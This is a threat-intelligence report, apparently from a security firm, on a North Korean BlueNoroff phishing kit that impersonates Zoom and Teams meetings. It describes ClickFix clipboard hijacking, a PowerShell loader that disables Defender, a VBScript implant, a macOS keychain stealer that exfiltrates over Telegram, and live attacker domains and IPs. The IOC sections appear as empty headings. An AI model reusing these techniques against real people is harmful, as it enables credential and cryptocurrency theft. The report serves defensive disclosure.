Executive Summary

JUMPSEC has obtained and analysed the source code behind an active BlueNoroff phishing kit used to impersonate Zoom and Microsoft Teams meetings. Unlike previous reporting, this research provides source-level visibility into how the operation works after operators mistakenly exposed JavaScript source maps on live infrastructure.
This is not simply a fake Zoom lure. We demonstrate how BlueNoroff has operationalised trust abuse by combining compromised industry contacts, social engineering, wallet reconnaissance and malware delivery into a repeatable victim acquisition pipeline.

As a financially motivated, state-sponsored threat associated with the broader Lazarus Group ecosystem, BlueNoroff has been linked to numerous high-profile cryptocurrency thefts and attacks against financial institutions. Its primary objective is to generate funds for the North Korean state, making Web3 financial services an attractive target. These organisations concentrate significant digital assets and often rely on rapidly evolving infrastructure, cross-chain systems and smart contracts, while also presenting opportunities to exploit the human operators responsible for managing those funds.

Here we reconstruct the full Windows and macOS attack chains and map the supporting infrastructure, documenting the campaign from initial access through post-exploitation.

Key findings:

• This campaign is an operator-driven victim acquisition platform, not simply fake meeting pages
• Compromised trusted contacts are the core infection vector, creating a self-propagating attack chain via Telegram
• The platform profiles victims’ cryptocurrency wallets before malware delivery, enabling selective targeting of high-value victims.
• We reconstructed the full Windows and macOS attack chains and mapped the supporting infrastructure, documenting the campaign from initial access through post-exploitation.

Reconstructing the campaign

The threat actor did not strip `.map` files from their webserver. These `.map` files map the minified JavaScript back to the original source code with function names, comments – everything. There were two variants observed. One for Zoom, and one for Teams. And based on a `googie.us-gmeet.com`string found in the Zoom chat handler, a Google meet variant likely also exists.
The source code includes:

• All JavaScript source code for the Zoom page built to be a Single-Page Application (SPA)
• TS/TSX files, Teams page (essentially a rewrite of the Zoom page)
• `dropper.vb_s` (named as we obtained it), 497-line VBScript implant classified as Trojan.NukeSped, a known Lazarus Group malware family.
• 11 initial C2/lure domains.

These 11 initial domains were the seed. Pivoting across passive DNS, VirusTotal, urlscan.io and reverse DNS data expanded the investigation beyond the original infrastructure set, uncovering additional campaign infrastructure discussed in the Infrastructure Analysis section. Everything high confidence and medium confidence is still active as of July 24th, 2026.

The delivery – classic social engineering

The lure link initially comes from an account the target already trusts and has met in real life. In two observed attempts, hijacked Telegram accounts of real industry contacts were used to message high-ranking employees of major companies.

Figure 1 – A founder announcing their Telegram account as compromised.

Figure 2 – A victim (right, purple messages) messaging a compromised Telegram account (left).

Imagine if a prominent leader in your industry who you recognise, admire and trust reached out to you on LinkedIn. After checking that a profile is legit with thousands of followers and common connection, it is reasonable to accept a request to connect, message or join a call to discuss a common interest.

Figure 3 – A victim (right, purple messages), unknowingly messaging a DPRK compromised Telegram account (left).

Figure 4 – The user who DPRK compromised, announcing their Telegram account has been compromised.

None of the standard user sender verification advice works here. The sender is real and there is no real way to verify who you are talking to without some previously-agreed-upon code word or PGP-like authentication, which is uncommon.
As illustrated below, in the case of Victim A’s compromise, Victim B met the real Victim A at the “FT Live Dinner”, which ultimately strengthens the trust when unknowingly messaging the Victim A’s compromised Telegram account. The pre-existing relationship is the angle here; the operators just need to sit on the right accounts and wait for the opportunity.

Figure 5 – The self-propagating system that continues to bring fresh victims in.

Every victim who runs the payload with Telegram Web open or Telegram Desktop installed is a candidate for their Telegram session to be stolen and reused against their own contacts. Two of the three cases JUMPSEC analysed were used to further message other contacts and we observed the same cyclical self-propagating pipeline that Kaspersky documents as “GhostCall”, attributed to the BlueNoroff group, suggesting that this propagation model remains a preferred operational technique rather than a one-off campaign characteristic.

What the victim sees

We built a fully working demo of the full kit based on the exposed source code, what follows is what a real victim would see, phase by phase:

Phase 1: The lure

Victim clicks the link, which routes to something like:

`https://us.zoom.06webin.us/j/98527503722?pwd=9jXK14VFM8f0bdKxfkake7tD7rPhzs.1`.

This looks like a Zoom invite, but the domain is just `06webin.us`, with `us.zoom.` as the subdomain.When the victim clicks the link, they are presented with the following page:

Figure 6 – The initial fake Zoom meeting page

Clicking on “Continue” after inputting their username, the victim is asked for permission for the page to access the webcam as any normal meeting would go, once they allow this, the webcam stream is silently piped to the operators panel via mediasoup WebRTC.

Figure 7 – (OBS Virtual Cam for demo purposes)

After clicking “Join Meeting” the victim is shown another page where they are seemingly in a Zoom call by themselves, “waiting for other participants”.

Figure 8 – Victim screen after clicking “Join Meeting”

Once the victim has joined, the Operator can then continue to use their panel in order to control the meeting, send fake “your mic isn’t working” messages, and trigger the “Zoom SDK Update”, ultimately resulting in the ClickFix payload.

  Figure 9 – Zoom SDK notification that triggers the ClickFix prompt

Alongside this control, the kit runs a full wallet fingerprinting sweep on the browser via EIP-6963 discovery, legacy ‘window.ethereum’ probing, plus non-EVM globals like Solana coin. The result is silently exfiltrated to the operators panel which can be seen in the below screenshot (MetaMask detected as I installed MetaMask on my browser to test it), the victim never sees this exfiltration occurring.

After the operator has joined, it’s all meant to be social engineering, on very specific timeframes:

• T+0s – Operator joins the meeting, deepfake video is playing, but there is no audio
• T+2.5s – Operator pushes first message – “Hi [Victim name] can you hear me? Camera and audio look good on my end
• T+6.5s – Operator pushes second message – “Weird, my mic keeps cutting. One sec – I think our Zoom SDK is out of date, let me push a quick update. You’ll see a prompt on your side too.”
• T+10.5s – A fake “SDK deprecated” message with a progress bar appears, auto advances for 3 seconds
• T+13.5s – ClickFix box appears

Below is a video of the entire process:

The displayed commands look benign. However, when the victim clicks Copy, or even highlights the text and CTRL+C’s, their clipboard is of course replaced with the operators ClickFix payload.

Figure 10 – The operators panel, with multiple features

At this point, when the “admin” joins the fake meeting, the video the victim sees isn’t the operators live webcam. It’s a pre-edited video the operator plays into the WebRTC transport as if it were live. The headshots used are AI generated by ChatGPT and composited over real body motions captured from prior meetings. So, each successful attack feeds source material into the composites used against the next target. This combined with the Telegram account takeover method, means that the fake meeting shows a plausibly familiar looking face, moving with the body language of someone who was actually captured on camera.

Below you can see an illustrated example of what the victim would see on their screen.

Figure 11 – Operator joins the fake call, and the simulated deepfake video plays

Figure 12 – PowerShell payload copied to clipboard

The two kits: Zoom and Teams

We managed to capture two distinct variants, a Zoom lure and a Teams lure, and comparing them shows quite the evolution:

Zoom variant – 26 JavaScript files

• Plain JavaScript
• Single `App.js` with inline meeting logic
• `SdkUpdateModal.js` for ClickFix
• `ChatModal.js` for handling C2 commands
• Simpler wallet probe (fewer chains)
• URL display swap for google.com/teams/zoom domains in chat

Teams variant – 44 TypeScript/TSX files

• Full TypeScript rewrite
• Service layer pattern
• MediaPipe background blur/virtual background support
• Full emoji reaction system
• Full device settings panels
• Mobile/tablet blocking
• Post-meeting redirect page
• Advanced wallet probe (EIP-6963 discovery + expanded non-EVM)
• LauncherPage mimicking the Teams “Continue on this browser” flow

The Teams variant is well written. It includes a UX polish, emoji reactions, background effects and even device settings. Both variants share the same `executeLinkFromDownURL` crypto module, confirming they are both from the same threat group.

The Windows kill chain 

We recovered the full Windows attack chain across two different deployed variants, confirmed via VT sandbox data and source code analysis.

Stage 0 – PowerShell loader

The base64 decoded payload from the copied ClickFix payload is a small PowerShell script less than 600 bytes, we obtained two variants:

Both do the same core things:

• Download a VBScript dropper from the C2 and save to Temp
• Execute the VBScript twice via wscript.exe with different numeric arguments (1 and 2)
• Disable Windows Defender via PowerShell exclusion addition
• Force-restart Defender so the exclusion applies immediately

The dual execution is intentional, both numeric arguments feed into different functions, which generate different UUIDs and handle different beacon tasks. VT sandbox data confirms one instance beacons to `?topic=s` (system info) and another to `?topic=v957` (main C2 loop)

There is no obfuscation, the stage 0 payload relies on the ClickFix social engineering plus the Defender exclusion running before the stage 1 VBS lands on disk.

Stage 1 – VBScript C2 implant

Two variants recovered, this is the main implant:

The VT classification for the primary dropper as Trojan.NukeSped is significant as NukeSped is a known Lazarus group backdoor family. Further raising our attribution confidence to DPRK actors.

The difference between the two variants is primarily the Telegram Web detection functionality, which is absent in Variant B. This function checks `IndexedDB` for:

• `telegram.org_0.indexeddb.leveldb`
• `telegram.org_0.indexeddb.leveldb`
• `telegram.org_0.indexeddb.leveldb`

It checks for these across Chrome, Edge, Brave and Firefox profile directories. If successfully found, it appends “telegram” to the beacon data. There are two reasons why this most likely exists. First, a lot of Crypto/DeFi communities are on Telegram, so it is no surprise that the operator would want to be aware of a victim with an active Telegram account.

Secondly, and more interestingly, the delivery model we have documented above uses hijacked Telegram accounts of trusted contacts to message victims directly. Every marked victim with an active Telegram account is a candidate for their session cookie to be stolen and reused as a new delivery account.

Apart from that, the beacon architecture itself is identical in both:

The browser extension enumeration walks extension directories for Chrome, Chrome Beta, Chrome Dev, Chromium, Edge, Brave, Opera, Opera GX, Vivaldi, and Firefox. It reports raw extension IDs, which the C2 can match against known Cryptocurrency Wallet extension IDs like MetaMask to identify potentially high-value targets.

C2 Commands:

Stage 2 – Post exploitation payloads

The in-memory and disk-drop payloads are delivered dynamically via C2 tasking. These are where the actual credential theft, wallet theft, and keylogging live. One VT sandbox capture shows a response from `/3?payload=` starting with `MZ` (Windows PE header), confirming Windows executables are served to victims. We have unfortunately not yet recovered these payloads,

The macOS kill chain

Two shell script variants were recovered, both completely undetected by VirusTotal.
Stage 0 – shell script

Figure 13 – macOS kill chain

The self-deletion happens first, by the time anything downloads, the original script is gone. The fake Teams installer app keeps the victim occupied via osascript while the real payload executes in the background.

The dual execution pattern matches the Windows kill chain, which also executes twice with arguments `1` and `2`, the macOS payload gets the same type of thing.
Regarding the “fake Teams installer”, there are multiple other lures that the operator can choose depending on the scenario, for example:

The “google” type exists, but it is not implemented in this build. The source code also references `googie.us-gmeet.com` in URL display transforms.

We were able to recover these macOS payloads through OSINT investigation, and documented our findings, the first binary we found was the fake “Zoom SDK” installer, we found this based off the shell scripts we analysed and found a “ZoomSDK” string inside of. We then searched VirusTotal for `name:ZoomSDK.bin` and found `b149e207a3aad68605785710c58e8439aef61f48776c136d5a0ec6682d7dd2c0`, a 2.08MB Mach-O ARM x64 executable named “winapp.bin” (VT classification is “ZoomSDK.bin”).

Figure 14 – ZoomSDK.bin/winapp.bin on VirusTotal

Pivoting on this report, we found four variants:

Figure 15 – The four variants discovered

It should be noted that the report that isn’t squared in red is the self-deleting dropper script, the four reports that are squared in red are the interesting binaries we analysed.

The size doubles between May and June, this is when the stealer code got added alongside the fake installer code. The May 29th variant is the most interesting, as it includes the full stealer and fake installer, with no obfuscation.

Stage 1 – winapp.bin (the dropper)

The dropper is a ARM64 Mach-O, 2.18 MB. Pure C++, imports only `libc++` and `libSystem`. 214 functions, 70 strings. Uses `/usr/bin/curl` for everything. It takes two arguments when it is executed, a server URL and an app type, there are five app types: zoom, teams, google, system, and none. The “google” type prints “not yet implemented” – planned but not shipped yet.

The Stage 2 stealer payload is downloaded and executed in the background while the fake Teams/Zoom installer (selected from the server URL and app type arguments) keeps the user busy as mentioned previously while the malware installs.

Figure 16 – Code showing curl being used for downloading

The interesting functionality is within the downloaded Stage 2 stealer.

Stage 2 – the stealer

On May 29th, a binary with the dropper and the stealer merged together was uploaded to VirusTotal. This payload wasn’t obfuscated or packed, making analysis relatively simple.

The `_main` function is the orchestrator, which calls a function called:
`restrictiveMacOSDecoyAlternate()`

This is the stealer function which initially starts by collecting the username of the computer and checks to see if the macOS version is less than 26.4. If it is, the malware calls back to `_main` and continues the fake installation of the Teams or Zoom app.

Figure 17 – The _main function dropper mechanism

Following that, and provided the macOS version is greater than 26.4, the malware calls the stealer function: `restrictiveMacOSDecoyAlternate()`, which subsequently calls the `security` CLI tool, which then interfaces with Apple Keychains and the Security framework.

Figure 18 – The stealer function – restrictiveMacOSDecoyAlternate()

Figure 19 – Master key stealing, via the `security` CLI tool built into macOS

This command grabs any keychain password with the name “Chrome” and uses the `-w` argument to output only the password without surrounding metadata. It then encodes the password with Base64 and uses a Telegram bot for exfiltration. The stealer only steals the master key itself and not the databases.

Therefore, the most likely workflow is that the stealer grabs the key and a potential third stage grabs the databases, as the stealer does have functionality to download and execute a third stage.

The Telegram exfiltration function is `sendTelegramMessage()`, and the bot token and chat ID that are used are hardcoded within the binary.

Figure 20 – sendTelegramMessage() function, utilising curl for sending the stolen data

Clicking on the `kTelegramBotToken` we are redirected to a data region where the bot token and chat ID can be seen in plaintext.

Figure 21 – Telegram bot token and chat ID observed in plaintext

Afterwards, the malware also downloads and executes a third stage from the `/2` endpoint. However, we were unable to recover these specific payloads.

Finding the operator

The hardcoded bot token was still live, by querying the Telegram API we can get some initial information.

Figure 22 – Querying the Telegram bot token with TeleTracker

As we can see, we have two interesting pieces of data here. First off, the name of the operator, “John”, this is most likely a fake name, second, the Telegram username of this “John” individual, using this, we could gather more information on the operator themselves.

Figure 23 – The operator – “John”

By querying a tool that monitors a huge database of Telegram channels and groups with John’s username, we get some more insight into his activities in the past. Below is a screenshot of John asking admins of the MAIV cryptocurrency group about vesting contracts and withdrawing his money. Whether this is related to an incident where MAIV funds were stolen from a victim is unknown at this time, but this activity is consistent with BlueNoroff’s crypto theft goal. The May 16th date falls right in the middle of active campaign operations (April 22nd – July 15th).

Figure 24 – The operator asking questions to MAIV admins about their vesting contract and withdrawals

Unfortunately, these were the only four messages we obtained from John, who kept relatively tight OPSEC.

The “Aurora” channel

The Aurora channel is one of the channels where stolen master keys are sent, however, due to an invite link to the channel that the bot is connected to (see the TeleTracker screenshot above), we can use that invite link and see the live exfiltrated victim data from May 21st to June 3rd.

Figure 25 – Live exfiltrated victim data sent to the operators Telegram channel

We took our screenshots and left; no logs or data was saved or kept.

Infrastructure Analysis

We found 11 domains in the source code, which we used as an initial pivot point. VirusTotal + urlscan + reverse DNS pivoting was performed, and it expanded the cluster to 60+ observed hostnames on 10 IPs, all on one singular ASN.

Figure 26 – The path we followed 

All 11 domains resolved to AS14956, RouterHosting LLC. Four shared a single VPS at 144.172.110.53, and `zoom.05ukweb.uk` was scanned on urlscan on July 6, 2026, the day before we started analysing with an active `ft?id=<AES-GCM-ciphertext>` execute-link URL. The infrastructure was live against targets while we were mapping it.
urlscan pivoting turned up four new lure hosts, `webapp.zoom.05live.co` (Zoom), `microteam.live` (Teams), `lives.teamicrosoft.sbs` (Teams), `cloud.inteam.live` (Teams) and confirmed the reused fake meeting password `9jXK14VFM8fObdKxfkake8tD7rPhzs.1` across multiple captures.

Reverse DNS however, was the pivot that broke it open. Every PTR resolved to `*.static.cloudzy.com`. Cloudzy is the real host behind RouterHosting LLC, it is a bulletproof reseller that is already documented as infrastructure of choice for Iranian and DPRK APT groups. The reverse lookup also surfaced two new IPs that hosted the bulk of the operation.

• 172.86.89.213 – the payload server. Hosts `weekly-up.online` (matches recovered PowerShell / VBS / macOS shell variants), plus a cluster of `*-support.online` and `-mac.online` domains used for macOS payload delivery
• 172.86.91.195 – a dedicated domain rotation server. Has 20+ Zoom/Teams typosquats following the same naming schema as the first 11.

The most operationally interesting find was `edensun.xyz` on `144.172.110.53`, co-located with four confirmed kit domains, running a full XMPP deployment. There is a TURN relay which we believe with high confidence to be the WebRTC fallback for the fake meetings, routing mediasoup streams of the victim’s webcam around restrictive firewalls where a direct peer connection would fail.

As an extra honourable mention, on `45.61.163.100` – the same IP as the Zoom lure `us.zoom.06webin.us` – we found 8 Australian myGov phishing domains. They were running LiteSpeed, not XAMPP, targeting Australian citizen credentials, not Web3 wallets; and share no overlap with the kit. We believe this to be a different operator that is renting on the same Cloudzy pool. We excluded this from attribution.

Server fingerprint

Every kit runs the same server tech stack:

• Apache/2.4.58 (Win64)
• OpenSSL/3.1.3
• PHP/8.2.12
• XAMPP 8.12 for Windows

Several domains got caught serving the default XAMPP landing page before the operator configured them.

Figure 27 – One of the associated phishing domains hosting XAMPP default landing page

Source map exposure across deployments

Beyond the Telegram bot token and operator communications, we observed that JavaScript source maps were exposed on additional infrastructure. microsoft-workspace.live, a high-confidence kit hosted on 45.61.163.113, was actively serving both the Zoom and Teams variants from a single origin:

• `https://microsoft-workspace.live/j/` – Zoom SPA
• `https://microsoft-workspace.live/meet/` – Teams SPA
• `https://microsoft-workspace.live/j/static/js/` – Zoom variant’s build output, .map present
• `https://microsoft-workspace.live/meet/static/js/` – Teams variant’s build output, .map present

The presence of source maps on multiple deployments suggests this is a characteristic of the current build or deployment pipeline, rather than an isolated configuration issue. Their availability significantly aided reverse engineering by exposing not obfuscated application logic.

Frontend evolution

The variants we obtained were a newer version and an older version, the underlying kit itself isn’t new to public reporting, but the source-level diff between builds is. From the microsoft-workspace[.]live open directory, we were able to find 5 distinct code versions from May 31st to July 14th.

Figure 28 – One of the open directories on microsoft-workspace[.]live, with multiple .map source files available.

The latest version as of writing is `main.4c25b493.js.map`, uploaded on July 14th, 2026, at 02:06am. This build changed the wording of a feature that was added to an older build on July 9th, the change is a “completion note” shown to the victim underneath the ClickFix instructions:

• June 25th – Received source code: No completion note at all.
• July 9th – Completion note added: “Finally, you will see a notification window indicating that the process is complete”
• July 14th – Wording changed: “If you allow the fix at the end, you’ll see the success pop-up

This goes to show the minimal changes these actors are willing to make in order to boost their efficiency, quality, and chance of success.

Figure 29 – The wording changed on 14th July

Along with this, there are multiple other code changes within the 5 different versions of this kit. All of the evolutions are within existing modules, and three things came out of a diff we did:

• Windows ClickFix payload got rebuilt – The oldest builds used a nested-PowerShell command, which required UAC elevation (-Verb -RunAs). The middle release updated it with a compact `iex` command so UAC elevation is no longer required.
• One of the Teams builds shipped with a copy-paste bug – The new Teams Windows command has `MEETING_JWT=’zoom.us’` and `MEETING_URL=’https://zoom.05ukweb.uk’`, these are the Zoom variants values, not Teams, someone built the new payload for Teams by copying the Zoom variants commands and forgot to change the strings back. This could indicate that Zoom was the first version of this kit that they built, and they are porting it downstream to an additional Teams version.
• The July build added a `isClickFix` mode toggle – A boolean that is set to true by default. When true, camera controls in the meeting are non-functional and every video-toggle click triggers the “please update your SDK” lure. When false, the meeting behaves like a normal video call. This may indicate that sometimes, BlueNoroff actors may want to build rapport with victims first.

Attribution 

BlueNoroff (TA444) – A financially motivated subgroup of North Korea’s Lazarus Group. High confidence based on multiple indicators:

1. Infrastructure overlap. The domains and ClickFix technique match reporting from Arctic Wolf (May 2026), who attributed the same campaign to BlueNoroff.
2. Tooling fingerprint. The AES-CGM execute-link crypto, the wallet enumeration targeting, and the SDK-update ClickFix lure are all previously documented techniques attributed to BlueNoroff
3. VT malware classification. VirusTotal’s AV engines independently classified the VBScript dropper as Trojan.NukeSped, a known Lazarus Group backdoor.
4. Hosting provider. Cloudzy (behind RouterHosting LLC) is documented infrastructure for DPRK actors alongside Iranian APT groups too. The entire operation (60+ observed hostnames across 10 IPs) runs entirely on Cloudzy.
5. Target profile. Web3/crypto sector targeting with wallet filtering as a pre-engagement filter, this is BlueNoroff’s revenue stream, and these operations have been running since at least 2017
6. Delivery via hijacked accounts. BlueNoroff’s LinkedIn/Telegram/Twitter hijacking pipeline has also been documented before under “SnatchCrypto” (Kaspersky, 2025)

Conclusion

If you work with Web3 or cryptocurrency technologies and get a Zoom, Teams, or Google Meet invite over Telegram, even from someone you have been talking to for months, verify out-of-band before clicking on any links or interacting. In every attempt observed against the client, the sender was a real person the target trusted, their account was simply hijacked. Check the domain sent. If it resolves to Cloudzy infrastructure, there’s every chance are you are dealing with this kit.

This research provides a rare view into the operational machinery behind a BlueNoroff campaign, revealing an operation that is less a phishing page and more a complete victim management platform. The exposure of source code has shown how the group combines technical capability with human trust exploitation to create a scalable approach to financial targeting.

The implications extend beyond this specific campaign. As Web3 and digital assets continue to mature, threat actors are increasingly recognising that compromising the individuals who control access can be as valuable as attacking the infrastructure itself. BlueNoroff’s continued refinement demonstrates that organisations must consider identity, relationships and communication channels as critical parts of their security posture.

Indicators of Compromise

Malware Samples

Domains — HIGH Confidence (21)

Direct kit indicators: client-sourced, serving fake meeting SPA, active execute-link on urlscan, recovered payload on VT, or XAMPP default page tagged by researchers.

Domains — MEDIUM Confidence (~35)

Same IPs as HIGH-confidence hosts, matching naming schemas. Includes XMPP/TURN relay infrastructure the kit requires for WebRTC. No direct urlscan/VT confirmation on these specific hostnames.

IP Addresses (all AS14956 RouterHosting LLC / Cloudzy)

Telegram Exfiltration Infrastructure

C2 Endpoints

Server Fingerprint

AES-GCM Execute-Link Crypto

AES-GCM Execute-Link Crypto

Detection Strings

Dropped Filenames

MITRE ATT&CK Mapping